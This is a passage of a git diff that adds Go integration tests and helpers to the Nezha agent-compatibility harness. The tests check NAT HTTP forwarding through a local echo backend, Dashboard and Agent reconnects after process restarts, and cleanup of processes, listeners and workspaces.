a/integration/agentcompat/internal/scenario/nat_http.go b/integration/agentcompat/internal/scenario/nat_http.go new file mode 100644 index 00000000..407e9a69 --- /dev/null +++ b/integration/agentcompat/internal/scenario/nat_http.go @@ -0,0 +1,117 @@ +//go:build linux + +package scenario + +import ( + "bufio" + "context" + "errors" + "fmt" + "io" + "net" + "net/http" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +type natRawResponse struct { + Status int + Body string + LegacyCloseMarker string + PeerWriteClosed bool +} + +type natHTTPRequestSpec struct { + Endpoint string + Host string + Method string + Path string + Body string +} + +const natEchoHeaderValue = "fixture" + +func natHTTPStatus(ctx context.Context, endpoint, host string) (natRawResponse, error) { + return natHTTPRequest(ctx, natHTTPRequestSpec{Endpoint: endpoint, Host: host, Method: http.MethodGet, Path: "/"}) +} + +func natHTTPRoundTrip(ctx context.Context, request natHTTPRequestSpec) (natRawResponse, fixture.NATEchoRecord, error) { + response, err := natHTTPRequest(ctx, request) + if err != nil { + return natRawResponse{}, fixture.NATEchoRecord{}, err + } + record, err := parseNATResponse(response.Body) + return response, record, err +} + +func natHTTPRequest(ctx context.Context, request natHTTPRequestSpec) (natRawResponse, error) { + connection, err := (&net.Dialer{}).DialContext(ctx, "tcp", request.Endpoint) + if err != nil { + return natRawResponse{}, err + } + defer connection.Close() + if deadline, ok := ctx.Deadline(); ok { + if err := connection.SetDeadline(deadline); err != nil { + return natRawResponse{}, err + } + } + wireRequest := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\nX-AgentCompat-Echo: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", request.Method, request.Path, request.Host, natEchoHeaderValue, len(request.Body), request.Body) + if _, err := io.WriteString(connection, wireRequest); err != nil { + return natRawResponse{}, err + } + reader := bufio.NewReader(connection) + response, err := http.ReadResponse(reader, nil) + if err != nil { + return natRawResponse{}, err + } + responseBody, err := io.ReadAll(response.Body) + if closeErr := response.Body.Close(); err == nil { + err = closeErr + } + if err != nil { + return natRawResponse{}, err + } + // Agent preserves its legacy wire contract by forwarding the local read + // result after the HTTP body. Reading through that marker to EOF proves the + // backend write-close reached Agent and the stream then terminated. + closeMarker, peerCloseErr := io.ReadAll(reader) + if peerCloseErr != nil { + return natRawResponse{}, fmt.Errorf("observe NAT peer write close: %w", peerCloseErr) + } + return natRawResponse{Status: response.StatusCode, Body: string(responseBody), LegacyCloseMarker: string(closeMarker), PeerWriteClosed: true}, nil +} + +func natAssertNoBackendConnection(ctx context.Context, backend *fixture.NATEchoBackend) error { + deadline, cancel := context.WithTimeout(ctx, 300*time.Millisecond) + defer cancel() + err := backend.WaitConnection(deadline) + if errors.Is(err, context.DeadlineExceeded) { + return nil + } + if err == nil { + return errors.New("NAT backend received an unexpected connection") + } + return err +} + +func parseNATResponse(body string) (fixture.NATEchoRecord, error) { + values := make(map[string]string) + for _, line := range strings.Split(strings.TrimSuffix(body, "\n"), "\n") { + key, value, ok := strings.Cut(line, "=") + if ok { + values[key] = value + } + } + for _, key := range []string{"method", "path", "host", "x-agentcompat-echo", "body"} { + if _, ok := values[key]; !ok { + return fixture.NATEchoRecord{}, fmt.Errorf("NAT response missing %s", key) + } + } + return fixture.NATEchoRecord{Method: values["method"], Path: values["path"], Host: values["host"], HeaderValue: values["x-agentcompat-echo"], Body: []byte(values["body"])}, nil +} + +func natExpectedBody(request natHTTPRequestSpec) string { + return fmt.Sprintf("method=%s\npath=%s\nhost=%s\nx-agentcompat-echo=%s\nbody=%s\n", request.Method, request.Path, request.Host, natEchoHeaderValue, request.Body) +} diff --git a/integration/agentcompat/internal/scenario/nat_test.go b/integration/agentcompat/internal/scenario/nat_test.go new file mode 100644 index 00000000..50997f33 --- /dev/null +++ b/integration/agentcompat/internal/scenario/nat_test.go @@ -0,0 +1,154 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "bufio" + "context" + "errors" + "fmt" + "io" + "net" + "net/http" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + "github.com/stretchr/testify/require" +) + +func TestNAT_HTTPRequestObservesPeerWriteCloseAfterDeclaredBody(t *testing.T) { + // Given + listener, err := net.Listen("tcp", "127.0.0.1:0") + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, listener.Close()) }) + serverDone := make(chan error, 1) + go func() { + connection, acceptErr := listener.Accept() + if acceptErr != nil { + serverDone <- acceptErr + return + } + defer connection.Close() + request, readErr := http.ReadRequest(bufio.NewReader(connection)) + if readErr != nil { + serverDone <- readErr + return + } + _, readErr = io.Copy(io.Discard, request.Body) + if closeErr := request.Body.Close(); readErr == nil { + readErr = closeErr + } + if readErr != nil { + serverDone <- readErr + return + } + body := "closed" + if _, writeErr := fmt.Fprintf(connection, "HTTP/1.1 200 OK\r\nContent-Length: %d\r\n\r\n%s%s", len(body), body, io.EOF.Error()); writeErr != nil { + serverDone <- writeErr + return + } + tcpConnection, ok := connection.(*net.TCPConn) + if !ok { + serverDone <- errors.New("test listener did not accept TCP connection") + return + } + serverDone <- tcpConnection.CloseWrite() + }() + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + + // When + response, err := natHTTPRequest(ctx, natHTTPRequestSpec{Endpoint: listener.Addr().String(), Host: natTestDomain, Method: http.MethodGet, Path: "/"}) + + // Then + require.NoError(t, err) + require.Equal(t, http.StatusOK, response.Status) + require.Equal(t, "closed", response.Body) + require.Equal(t, io.EOF.Error(), response.LegacyCloseMarker) + require.True(t, response.PeerWriteClosed) + require.NoError(t, <-serverDone) +} + +func TestNAT_ParseResponsePreservesExactRequestFields(t *testing.T) { + // Given + body := natExpectedBody(natHTTPRequestSpec{Host: natTestDomain, Method: http.MethodPatch, Path: "/nat?case=ordinary", Body: "ordinary"}) + + // When + record, err := parseNATResponse(body) + + // Then + require.NoError(t, err) + require.Equal(t, http.MethodPatch, record.Method) + require.Equal(t, "/nat?case=ordinary", record.Path) + require.Equal(t, natTestDomain, record.Host) + require.Equal(t, "fixture", record.HeaderValue) + require.Equal(t, []byte("ordinary"), record.Body) +} + +func TestNAT_ParseResponseRejectsMissingEvidence(t *testing.T) { + // Given + body := "method=GET\npath=/\n" + + // When + _, err := parseNATResponse(body) + + // Then + require.Error(t, err) +} + +func TestNAT_ExactRequestObservedRejectsMismatchedHalfCloseEvidence(t *testing.T) { + // Given + request := natHTTPRequestSpec{Host: natHalfCloseTestDomain, Method: http.MethodPost, Path: "/nat?case=half-close", Body: "half-closed"} + exact := fixture.NATEchoRecord{Method: request.Method, Path: request.Path, Host: request.Host, HeaderValue: natEchoHeaderValue, Body: []byte(request.Body)} + mismatched := exact + mismatched.Host = natTestDomain + + // When + observed := natExactRequestObserved(request, exact, mismatched) + + // Then + require.False(t, observed) +} + +func TestNAT_DeletedRouteObservedRequiresFallbackStatusAndBody(t *testing.T) { + // Given + request := natHTTPRequestSpec{Host: natTestDomain, Method: http.MethodGet, Path: "/"} + + // When + observed := natDeletedRouteObserved(natRawResponse{Status: http.StatusOK, Body: "dashboard fallback"}, nil, request) + echoObserved := natDeletedRouteObserved(natRawResponse{Status: http.StatusOK, Body: natExpectedBody(request)}, nil, request) + rejectedObserved := natDeletedRouteObserved(natRawResponse{Status: http.StatusNotFound, Body: "not found"}, nil, request) + + // Then + require.True(t, observed) + require.False(t, echoObserved) + require.False(t, rejectedObserved) +} + +func TestNAT_FinishReturnsTypedFailedAssertion(t *testing.T) { + // Given + assertions := NewAssertionSet() + assertions.Record("deleted profile no longer routes", false, "backend connection observed") + + // When + result, err := finishNAT(assertions, nil) + + // Then + require.EqualError(t, err, "deleted profile no longer routes: backend connection observed") + require.Equal(t, "nat", result.Name) + require.False(t, result.Passed) + require.False(t, result.CleanupOK) +} + +func TestNAT_FinishPreservesRuntimeError(t *testing.T) { + // Given + runtimeErr := errors.New("NAT runtime failed") + + // When + result, err := finishNAT(NewAssertionSet(), runtimeErr) + + // Then + require.ErrorIs(t, err, runtimeErr) + require.Equal(t, "NAT runtime failed", result.Error) +} diff --git a/integration/agentcompat/internal/scenario/reconnect.go b/integration/agentcompat/internal/scenario/reconnect.go new file mode 100644 index 00000000..3bdc0575 --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect.go @@ -0,0 +1,75 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "slices" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type ReconnectInput struct { + Paths contract.Paths + DashboardFault string +} + +type ReconnectObservation struct { + ServerID uint64 + UUID string + OldGeneration uint64 + NewGeneration uint64 + DisconnectAt time.Time + ReconnectAt time.Time + TaskIDs []uint64 + ResultIDs []uint64 + PostReconnect bool + AgentRestarted bool +} + +type ReconnectResult struct { + Observation ReconnectObservation `json:"observation"` + CleanupOK bool `json:"cleanup_ok"` + Passed bool `json:"passed"` + Error string `json:"error,omitempty"` +} + +type Reconnect struct{} + +func (scenario Reconnect) Run(ctx context.Context, input ReconnectInput) (Result, error) { + result, _, err := scenario.RunWithEvidence(ctx, input) + return result, err +} + +func (observation ReconnectObservation) Validate() error { + if observation.ServerID == 0 || observation.UUID == "" { + return errors.New("reconnect observation omitted server identity") + } + if observation.OldGeneration == 0 || observation.NewGeneration <= observation.OldGeneration { + return errors.New("reconnect generations are not strictly increasing") + } + if observation.DisconnectAt.IsZero() || observation.ReconnectAt.IsZero() || !observation.ReconnectAt.After(observation.DisconnectAt) { + return errors.New("reconnect timestamps are not ordered") + } + if len(observation.TaskIDs) == 0 || !slices.Equal(observation.TaskIDs, observation.ResultIDs) { + return errors.New("reconnect task and result IDs differ") + } + seenTaskIDs := make(map[uint64]struct{}, len(observation.TaskIDs)) + for _, taskID := range observation.TaskIDs { + if _, exists := seenTaskIDs[taskID]; exists { + return fmt.Errorf("reconnect task ID %d was duplicated", taskID) + } + seenTaskIDs[taskID] = struct{}{} + } + if !observation.PostReconnect || !observation.AgentRestarted { + return errors.New("reconnect post-process checks were not completed") + } + return nil +} + +func (observation ReconnectObservation) ReconnectInterval() time.Duration { + return observation.ReconnectAt.Sub(observation.DisconnectAt) +} diff --git a/integration/agentcompat/internal/scenario/reconnect_evidence.go b/integration/agentcompat/internal/scenario/reconnect_evidence.go new file mode 100644 index 00000000..0e69cc75 --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect_evidence.go @@ -0,0 +1,82 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type ReconnectFixtureEvidence struct { + Dashboard dashboard.FixtureIdentity `json:"dashboard"` + AgentRoot string `json:"agent_root"` + AgentConfigPath string `json:"agent_config_path"` + AgentBinaryPath string `json:"agent_binary_path"` +} + +type ReconnectRuntimeEvidence struct { + DashboardBefore dashboard.RuntimeIdentity `json:"dashboard_before"` + DashboardAfter dashboard.RuntimeIdentity `json:"dashboard_after"` + AgentBefore agent.ProcessIdentity `json:"agent_before"` + AgentAfter agent.ProcessIdentity `json:"agent_after"` + StateGenerationBeforeAgentRestart uint64 `json:"state_generation_before_agent_restart"` + StateGenerationAfterAgentRestart uint64 `json:"state_generation_after_agent_restart"` +} + +type ReconnectIdentityEvidence struct { + ServerID uint64 `json:"server_id"` + UUID string `json:"uuid"` + DashboardConfigUnchanged bool `json:"dashboard_config_unchanged"` + AgentConfigUnchanged bool `json:"agent_config_unchanged"` + DashboardFixtureUnchanged bool `json:"dashboard_fixture_unchanged"` + ClientsRecreated bool `json:"clients_recreated"` + BootstrapRecreated bool `json:"bootstrap_recreated"` +} + +type ReconnectLifecycleEvidence struct { + DisconnectAt time.Time `json:"disconnect_at"` + ReconnectAt time.Time `json:"reconnect_at"` + ReconnectInterval time.Duration `json:"reconnect_interval"` + DashboardReceipts []dashboard.MCPReceiptPair `json:"dashboard_receipts"` + AgentReceipts []dashboard.MCPReceiptPair `json:"agent_receipts"` + StaleGenerationReceipts int `json:"stale_generation_receipts"` + DuplicateTaskIDs int `json:"duplicate_task_ids"` + LostResultIDs int `json:"lost_result_ids"` + OutsideRootSentinelUnchanged bool `json:"outside_root_sentinel_unchanged"` +} + +type ReconnectEvidence struct { + Fixture ReconnectFixtureEvidence `json:"fixture"` + Runtime ReconnectRuntimeEvidence `json:"runtime"` + Identity ReconnectIdentityEvidence `json:"identity"` + Lifecycle ReconnectLifecycleEvidence `json:"lifecycle"` + Observation ReconnectObservation `json:"observation"` + AgentCleanup processharness.CleanupReceipt `json:"agent_cleanup"` + DashboardCleanup processharness.CleanupReceipt `json:"dashboard_cleanup"` +} + +func (e ReconnectEvidence) Validate() error { + var validationErr error + validationErr = errors.Join(validationErr, e.Observation.Validate()) + if e.Runtime.DashboardAfter.Generation <= e.Runtime.DashboardBefore.Generation || e.Runtime.DashboardAfter.PID == e.Runtime.DashboardBefore.PID { + validationErr = errors.Join(validationErr, errors.New("Dashboard runtime generation did not advance")) + } + if e.Runtime.AgentAfter.Generation <= e.Runtime.AgentBefore.Generation || e.Runtime.AgentAfter.PID == e.Runtime.AgentBefore.PID { + validationErr = errors.Join(validationErr, errors.New("Agent runtime generation did not advance")) + } + if e.Runtime.StateGenerationAfterAgentRestart <= e.Runtime.StateGenerationBeforeAgentRestart { + validationErr = errors.Join(validationErr, errors.New("Agent state stream generation did not advance")) + } + if !e.Identity.DashboardConfigUnchanged || !e.Identity.AgentConfigUnchanged || !e.Identity.DashboardFixtureUnchanged || !e.Identity.ClientsRecreated || !e.Identity.BootstrapRecreated { + validationErr = errors.Join(validationErr, errors.New("reconnect identity evidence is incomplete")) + } + if e.Lifecycle.ReconnectInterval <= 0 || e.Lifecycle.StaleGenerationReceipts != 0 || e.Lifecycle.DuplicateTaskIDs != 0 || e.Lifecycle.LostResultIDs != 0 || !e.Lifecycle.OutsideRootSentinelUnchanged { + validationErr = errors.Join(validationErr, fmt.Errorf("reconnect lifecycle evidence is invalid: interval=%s stale=%d duplicate=%d lost=%d sentinel=%t", e.Lifecycle.ReconnectInterval, e.Lifecycle.StaleGenerationReceipts, e.Lifecycle.DuplicateTaskIDs, e.Lifecycle.LostResultIDs, e.Lifecycle.OutsideRootSentinelUnchanged)) + } + return validationErr +} diff --git a/integration/agentcompat/internal/scenario/reconnect_fault_real_test.go b/integration/agentcompat/internal/scenario/reconnect_fault_real_test.go new file mode 100644 index 00000000..ac3f3d74 --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect_fault_real_test.go @@ -0,0 +1,106 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "encoding/json" + "net" + "os" + "path/filepath" + "strconv" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/stretchr/testify/require" +) + +func TestReconnectScenario_DashboardExitFaultCleansRealProcesses(t *testing.T) { + // Given + nezhaSource := os.Getenv("AGENTCOMPAT_NEZHA_SOURCE") + agentSource := os.Getenv("AGENTCOMPAT_AGENT_SOURCE") + if nezhaSource == "" || agentSource == "" { + t.Skip("set AGENTCOMPAT_NEZHA_SOURCE and AGENTCOMPAT_AGENT_SOURCE") + } + evidenceDirectory := os.Getenv("AGENTCOMPAT_RECONNECT_FAULT_EVIDENCE_DIR") + if evidenceDirectory == "" { + evidenceDirectory = t.TempDir() + } + require.NoError(t, os.MkdirAll(evidenceDirectory, 0o700)) + paths, err := contract.NewPaths(nezhaSource, agentSource, evidenceDirectory) + require.NoError(t, err) + testContext, cancel := context.WithTimeout(t.Context(), 10*time.Minute) + defer cancel() + + // When + result, reconnectEvidence, runErr := (Reconnect{}).RunWithEvidence(testContext, ReconnectInput{Paths: paths, DashboardFault: "dashboard-exit"}) + + // Then + require.ErrorIs(t, runErr, ErrReconnectDashboardExitFault) + require.Equal(t, reconnectScenarioName, result.Name) + require.False(t, result.Passed) + require.True(t, result.CleanupOK) + require.Contains(t, result.Error, ErrReconnectDashboardExitFault.Error()) + require.Len(t, result.Assertions, 3) + require.True(t, result.Assertions[0].Passed) + require.Equal(t, "Dashboard disconnect barrier stopped generation one", result.Assertions[0].Name) + require.True(t, result.Assertions[1].Passed) + require.Equal(t, "outside-root sentinel remains unchanged", result.Assertions[1].Name) + require.True(t, result.Assertions[2].Passed) + require.Equal(t, "multi-generation process listener and workspace cleanup completed", result.Assertions[2].Name) + require.True(t, reconnectEvidence.Lifecycle.OutsideRootSentinelUnchanged) + require.True(t, reconnectEvidence.AgentCleanup.Passed) + require.False(t, reconnectEvidence.AgentCleanup.Forced) + require.Len(t, reconnectEvidence.AgentCleanup.Processes, 1) + require.True(t, reconnectEvidence.DashboardCleanup.Passed) + require.False(t, reconnectEvidence.DashboardCleanup.Forced) + require.Len(t, reconnectEvidence.DashboardCleanup.Processes, 1) + require.Zero(t, reconnectEvidence.Runtime.DashboardAfter) + require.Zero(t, reconnectEvidence.Runtime.AgentAfter) + require.NoDirExists(t, reconnectEvidence.Fixture.AgentRoot) + require.NoDirExists(t, reconnectEvidence.Fixture.Dashboard.WorkspaceRoot) + for _, cleanupReceipt := range []struct { + name string + processes []processharness.CleanupRecord + }{ + {name: "Agent", processes: reconnectEvidence.AgentCleanup.Processes}, + {name: "Dashboard", processes: reconnectEvidence.DashboardCleanup.Processes}, + } { + for _, process := range cleanupReceipt.processes { + require.NoDirExists(t, filepath.Join("/proc", strconv.Itoa(process.PID)), "%s process %d survived cleanup", cleanupReceipt.name, process.PID) + } + } + for _, listenerIdentity := range []struct { + name string + address string + }{ + {name: "Dashboard HTTP", address: reconnectEvidence.Fixture.Dashboard.HTTP.Address}, + {name: "Dashboard receipt", address: reconnectEvidence.Fixture.Dashboard.Receipt.Address}, + } { + listener, listenErr := net.Listen("tcp", listenerIdentity.address) + require.NoError(t, listenErr, "%s listener was not released", listenerIdentity.name) + require.NoError(t, listener.Close()) + } + + artifactPath := filepath.Join(evidenceDirectory, "reconnect-dashboard-exit-real-process.json") + type faultArtifact struct { + Result Result `json:"result"` + Evidence ReconnectEvidence `json:"evidence"` + Error string `json:"error"` + } + recordedArtifact := faultArtifact{Result: result, Evidence: reconnectEvidence, Error: runErr.Error()} + artifact, err := json.MarshalIndent(recordedArtifact, "", " ") + require.NoError(t, err) + require.NoError(t, os.WriteFile(artifactPath, append(artifact, '\n'), 0o600)) + artifactInfo, err := os.Stat(artifactPath) + require.NoError(t, err) + require.Equal(t, os.FileMode(0o600), artifactInfo.Mode().Perm()) + readArtifact, err := os.ReadFile(artifactPath) + require.NoError(t, err) + var decodedArtifact faultArtifact + require.NoError(t, json.Unmarshal(readArtifact, &decodedArtifact)) + require.Equal(t, recordedArtifact, decodedArtifact) + t.Logf("reconnect Dashboard-exit fault artifact: %s", artifactPath) +} diff --git a/integration/agentcompat/internal/scenario/reconnect_operations.go b/integration/agentcompat/internal/scenario/reconnect_operations.go new file mode 100644 index 00000000..2a0bd593 --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect_operations.go @@ -0,0 +1,144 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + "github.com/nezhahq/nezha/model" +) + +type reconnectExecArguments struct { + ServerID uint64 `json:"server_id"` + Cmd string `json:"cmd"` + Args []string `json:"args"` +} + +type reconnectExecResult struct { + ExitCode int `json:"exit_code"` + Stdout string `json:"stdout"` + Stderr string `json:"stderr"` + Error string `json:"error"` +} + +func runDashboardReconnectOperations(ctx context.Context, dashboardInstance *dashboard.Dashboard, serverID uint64, uuid, fixturePath string) ([]dashboard.MCPReceiptPair, error) { + cursor := dashboardInstance.MCPReceiptCursor() + server, err := client.CallTool[client.ServerGetArguments, client.ServerGetResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[client.ServerGetArguments]{Name: "server.get", Arguments: client.ServerGetArguments{ServerID: serverID}}) + if err != nil || server.StructuredContent.ID != serverID || server.StructuredContent.UUID != uuid || string(server.StructuredContent.Host) == "null" || string(server.StructuredContent.State) == "null" { + return nil, errors.Join(errors.New("post-reconnect server.get identity mismatch"), err) + } + if err := runReconnectExec(ctx, dashboardInstance.Clients().MCP, serverID, "dashboard-reconnect"); err != nil { + return nil, err + } + write, err := client.CallTool[client.FsWriteArguments, client.FsWriteResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[client.FsWriteArguments]{Name: "fs.write", Arguments: client.FsWriteArguments{ServerID: serverID, Path: fixturePath, Content: "dashboard-generation-two", Encoding: "utf8", Mode: "0600", CreateDirs: true}}) + if err != nil || write.StructuredContent.Size != int64(len("dashboard-generation-two")) || write.StructuredContent.Error != "" { + return nil, errors.Join(errors.New("post-reconnect fs.write mismatch"), err) + } + if err := runReconnectRead(ctx, dashboardInstance.Clients().MCP, serverID, fixturePath, "dashboard-generation-two"); err != nil { + return nil, err + } + generation := dashboardInstance.RuntimeIdentity().Generation + expectations, err := reconnectReceiptExpectations(dashboardInstance.MCPReceiptEventsAfter(cursor), generation, serverID, []uint64{model.TaskTypeExec, model.TaskTypeFsWrite, model.TaskTypeFsRead}) + if err != nil { + return nil, err + } + return dashboardInstance.WaitForMCPReceiptSet(ctx, cursor, expectations) +} + +func runAgentRestartOperations(ctx context.Context, dashboardInstance *dashboard.Dashboard, serverID uint64, fixturePath string) ([]dashboard.MCPReceiptPair, error) { + cursor := dashboardInstance.MCPReceiptCursor() + if err := runReconnectExec(ctx, dashboardInstance.Clients().MCP, serverID, "agent-restart"); err != nil { + return nil, err + } + if err := runReconnectRead(ctx, dashboardInstance.Clients().MCP, serverID, fixturePath, "dashboard-generation-two"); err != nil { + return nil, err + } + generation := dashboardInstance.RuntimeIdentity().Generation + expectations, err := reconnectReceiptExpectations(dashboardInstance.MCPReceiptEventsAfter(cursor), generation, serverID, []uint64{model.TaskTypeExec, model.TaskTypeFsRead}) + if err != nil { + return nil, err + } + return dashboardInstance.WaitForMCPReceiptSet(ctx, cursor, expectations) +} + +func reconnectReceiptExpectations(events []dashboard.MCPReceiptEvent, generation, serverID uint64, taskTypes []uint64) ([]dashboard.MCPReceiptExpectation, error) { + pending := append([]uint64(nil), taskTypes...) + expectations := make([]dashboard.MCPReceiptExpectation, 0, len(pending)) + for _, event := range events { + if event.Kind != dashboard.MCPReceiptTask || event.DashboardGeneration != generation || event.ServerID != serverID { + continue + } + for index, taskType := range pending { + if taskType == event.TaskType { + expectations = append(expectations, dashboard.MCPReceiptExpectation{DashboardGeneration: event.DashboardGeneration, GateGeneration: event.GateGeneration, ServerID: event.ServerID, TaskID: event.TaskID, TaskType: event.TaskType}) + pending = append(pending[:index], pending[index+1:]...) + break + } + } + } + if len(pending) != 0 { + return nil, errors.New("reconnect receipt task set is incomplete") + } + return expectations, nil +} + +func runReconnectExec(ctx context.Context, mcpClient *client.Client, serverID uint64, marker string) error { + result, err := client.CallTool[reconnectExecArguments, reconnectExecResult](ctx, mcpClient, client.ToolCall[reconnectExecArguments]{Name: "server.exec", Arguments: reconnectExecArguments{ServerID: serverID, Cmd: "/bin/sh", Args: []string{"-c", "printf " + marker}}}) + if err != nil { + return err + } + if result.StructuredContent.ExitCode != 0 || result.StructuredContent.Stdout != marker || result.StructuredContent.Stderr != "" || result.StructuredContent.Error != "" { + return fmt.Errorf("reconnect Exec mismatch: %+v", result.StructuredContent) + } + return nil +} + +func runReconnectRead(ctx context.Context, mcpClient *client.Client, serverID uint64, path, expected string) error { + result, err := client.CallTool[client.FsReadArguments, client.FsReadResult](ctx, mcpClient, client.ToolCall[client.FsReadArguments]{Name: "fs.read", Arguments: client.FsReadArguments{ServerID: serverID, Path: path, Encoding: "utf8"}}) + if err != nil { + return err + } + if result.StructuredContent.Content != expected || result.StructuredContent.Encoding != "utf8" || result.StructuredContent.Size != int64(len(expected)) || result.StructuredContent.Truncated { + return fmt.Errorf("reconnect fs.read mismatch: %+v", result.StructuredContent) + } + return nil +} + +type reconnectSentinel struct { + root *os.Root + name string +} + +func (sentinel reconnectSentinel) read() ([]byte, error) { + return sentinel.root.ReadFile(sentinel.name) +} + +func (sentinel reconnectSentinel) close() error { return sentinel.root.Close() } + +func prepareReconnectSentinel(agentRoot string) (fixturePath string, sentinel reconnectSentinel, err error) { + root, err := fixture.NewAgentRoot(agentRoot, "reconnect-files") + if err != nil { + return "", reconnectSentinel{}, err + } + path, err := root.Path("runtime.txt") + if err != nil { + return "", reconnectSentinel{}, err + } + fixturePath = path.String() + workspace, err := os.OpenRoot(agentRoot) + if err != nil { + return "", reconnectSentinel{}, err + } + sentinel = reconnectSentinel{root: workspace, name: "outside-reconnect-sentinel"} + if err := workspace.WriteFile(sentinel.name, []byte("outside-reconnect-root-sentinel"), 0o600); err != nil { + _ = workspace.Close() + return "", reconnectSentinel{}, err + } + return fixturePath, sentinel, nil +} diff --git a/integration/agentcompat/internal/scenario/reconnect_real_test.go b/integration/agentcompat/internal/scenario/reconnect_real_test.go new file mode 100644 index 00000000..310105ad --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect_real_test.go @@ -0,0 +1,83 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/stretchr/testify/require" +) + +func TestReconnectScenario_RealDashboardAndAgentProcessRestarts(t *testing.T) { + // Given + nezhaSource := os.Getenv("AGENTCOMPAT_NEZHA_SOURCE") + agentSource := os.Getenv("AGENTCOMPAT_AGENT_SOURCE") + if nezhaSource == "" || agentSource == "" { + t.Skip("set AGENTCOMPAT_NEZHA_SOURCE and AGENTCOMPAT_AGENT_SOURCE") + } + evidenceDirectory := os.Getenv("AGENTCOMPAT_RECONNECT_EVIDENCE_DIR") + if evidenceDirectory == "" { + evidenceDirectory = t.TempDir() + } + require.NoError(t, os.MkdirAll(evidenceDirectory, 0o700)) + paths, err := contract.NewPaths(nezhaSource, agentSource, evidenceDirectory) + require.NoError(t, err) + testContext, cancel := context.WithTimeout(t.Context(), 10*time.Minute) + defer cancel() + + // When + result, reconnectEvidence, err := (Reconnect{}).RunWithEvidence(testContext, ReconnectInput{Paths: paths}) + + // Then + for _, assertion := range result.Assertions { + t.Logf("assertion=%q passed=%t details=%q", assertion.Name, assertion.Passed, assertion.Details) + } + t.Logf("agent cleanup=%+v dashboard cleanup=%+v", reconnectEvidence.AgentCleanup, reconnectEvidence.DashboardCleanup) + require.NoError(t, err) + require.True(t, result.Passed) + require.True(t, result.CleanupOK) + require.NoError(t, reconnectEvidence.Validate()) + require.True(t, reconnectEvidence.AgentCleanup.Passed) + require.False(t, reconnectEvidence.AgentCleanup.Forced) + require.Len(t, reconnectEvidence.AgentCleanup.Processes, 2) + require.True(t, reconnectEvidence.DashboardCleanup.Passed) + require.False(t, reconnectEvidence.DashboardCleanup.Forced) + require.Len(t, reconnectEvidence.DashboardCleanup.Processes, 2) + require.True(t, reconnectEvidence.Identity.DashboardFixtureUnchanged) + require.NotZero(t, reconnectEvidence.Fixture.Dashboard.HTTP.Inode) + require.NotZero(t, reconnectEvidence.Fixture.Dashboard.Receipt.Inode) + require.Greater(t, reconnectEvidence.Runtime.DashboardAfter.Generation, reconnectEvidence.Runtime.DashboardBefore.Generation) + require.NotEqual(t, reconnectEvidence.Runtime.DashboardBefore.PID, reconnectEvidence.Runtime.DashboardAfter.PID) + require.Greater(t, reconnectEvidence.Runtime.AgentAfter.Generation, reconnectEvidence.Runtime.AgentBefore.Generation) + require.NotEqual(t, reconnectEvidence.Runtime.AgentBefore.PID, reconnectEvidence.Runtime.AgentAfter.PID) + require.Positive(t, reconnectEvidence.Lifecycle.ReconnectInterval) + require.Zero(t, reconnectEvidence.Lifecycle.StaleGenerationReceipts) + require.Zero(t, reconnectEvidence.Lifecycle.DuplicateTaskIDs) + require.Zero(t, reconnectEvidence.Lifecycle.LostResultIDs) + require.Len(t, reconnectEvidence.Observation.TaskIDs, 5) + require.Equal(t, reconnectEvidence.Observation.TaskIDs, reconnectEvidence.Observation.ResultIDs) + + artifactPath := filepath.Join(evidenceDirectory, "reconnect-real-process.json") + artifact, err := json.MarshalIndent(struct { + Result Result `json:"result"` + Evidence ReconnectEvidence `json:"evidence"` + }{Result: result, Evidence: reconnectEvidence}, "", " ") + require.NoError(t, err) + require.NoError(t, os.WriteFile(artifactPath, append(artifact, '\n'), 0o600)) + readArtifact, err := os.ReadFile(artifactPath) + require.NoError(t, err) + var recorded struct { + Result Result `json:"result"` + Evidence ReconnectEvidence `json:"evidence"` + } + require.NoError(t, json.Unmarshal(readArtifact, &recorded)) + require.Equal(t, result, recorded.Result) + require.Equal(t, reconnectEvidence, recorded.Evidence) + t.Logf("reconnect evidence artifact: %s", artifactPath) +} diff --git a/integration/agentcompat/internal/scenario/reconnect_receipts.go b/integration/agentcompat/internal/scenario/reconnect_receipts.go new file mode 100644 index 00000000..ed1937d6 --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect_receipts.go @@ -0,0 +1,35 @@ +//go:build linux + +package scenario + +import "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + +func reconnectReceiptSummary(pairs ...[]dashboard.MCPReceiptPair) (taskIDs, resultIDs []uint64, duplicates, lost int) { + seen := make(map[uint64]struct{}) + for _, group := range pairs { + for _, pair := range group { + taskIDs = append(taskIDs, pair.Task.TaskID) + resultIDs = append(resultIDs, pair.Result.TaskID) + if _, exists := seen[pair.Task.TaskID]; exists { + duplicates++ + 